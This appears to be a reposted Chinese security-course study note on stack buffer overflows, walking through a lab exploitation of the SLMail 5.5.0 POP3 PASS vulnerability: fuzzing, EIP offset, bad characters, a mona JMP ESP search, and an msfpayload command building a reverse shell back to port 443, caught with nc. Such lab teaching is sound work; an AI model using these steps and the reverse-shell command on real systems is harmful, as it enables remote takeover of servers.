概述
缓冲区溢出
1.原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或
使程序转而执行其它指令,以达到攻击的目的。
2.原因程序中没有仔细检查用户输入的参数,数据与代码边界不清。
3.危害成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。
4.发现漏洞
1. 源码审计2. 逆向工程3. 模糊测试
向程序堆栈半随机的数据,根据内存变化判断溢出
数据生成器:生成随机、半随机数据
测试工具:识别溢出漏洞
windows缓冲区溢出1.实验环境
windows xp
服务端:SLMail 5.5.0 Mail Server调试工具:ImmuniDebugger脚本:mona.py漏洞利用编程:python
2.漏洞信息
POP3 pass命令存在缓冲区溢出漏洞,成功溢出后无需身份认证实现远程代码执行。
3.漏洞信息验证向服务端的110端口发送大量数据,依次增大数据的长度。判断字符长度大于2600时发生溢出。
4.精确定位溢出位置
1/2
2016/10/23 星期日 Untitled Document
利用python脚本生成长度为2700的唯一字符串。再次溢出服务器,通过EIP寄存器中的数据精确定位EIP溢出位置。判断EIP寄存器的精确溢出位置为2607。
5.寻找存放shellcode的内存空间
再次增大数据长度。将EIP的位置换成特定字符来验证前一步的结果。在EIP的位置后加入大量特征代码,寻找可以存放shellcode的内存空间。最后得出结果EIP后的数据全部溢出到ESP寄存器中,通过计算得出ESP寄存器中最多可以溢出419个字节的数据,可以存放shellcode。
6.检测坏字符
向ESP寄存器中溢出送0x00 —— 0xff 256个字符,来检测是否存在坏字符。检测得出0x00,0x0a,
0x0d是坏字符。7.重定向数据流
因为ESP的地址不固定,若想在不同的环境中溢出代码都可以生效,需要使用JMP ESP跳转至ESP。利用mona脚本在系统中搜索地址固定的模块中的JMP ESP地址,发生溢出时,先将EIP指向固定的JMPESP地址,通过这个地址空间的代码再次跳转至ESP寄存器,执行shellcode。
JMP ESP 的二进制编码为xffxe4
在mona脚本中使用!mona modules寻找系统模块,找到不收保护的且地址固定的模块后,再通过!mona
find -s “xffxe4” -m slmfc.dll在模块中寻找固定的JMP ESP地址。内存地址要求无DEP,ASLR保护,且不包含坏字符。查找到固定的内存地址后溢出测试是否能够正确的跳转至ESP。发送的数据中内存地址应与实际的内存地址相反。
8.生成shellcode
使用./msfpayload win32_reverse LHOST=192.168.0.1 LPORT=443 R | ./msfencode -b"x00x0ax0d"命令生成不带坏字符的shellcode,该shellcode执行后会反弹一个shell到本机的443端口。
9.完善漏洞利用代码
将JMP ESP的内存地址溢出到EIP的位置,将shellcode溢出至ESP的位置,在EIP和ESP的溢出代码之间
加上8个x90(nop)保证shellcode的完整性。
10.溢出打开nc监听本机443端口。对服务器进行溢出后,nc接收到反弹回来的shell。
2/2
最后
以上就是听话季节为你收集整理的【安全牛学习笔记】缓冲区溢出的全部内容,希望文章能够帮你解决【安全牛学习笔记】缓冲区溢出所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复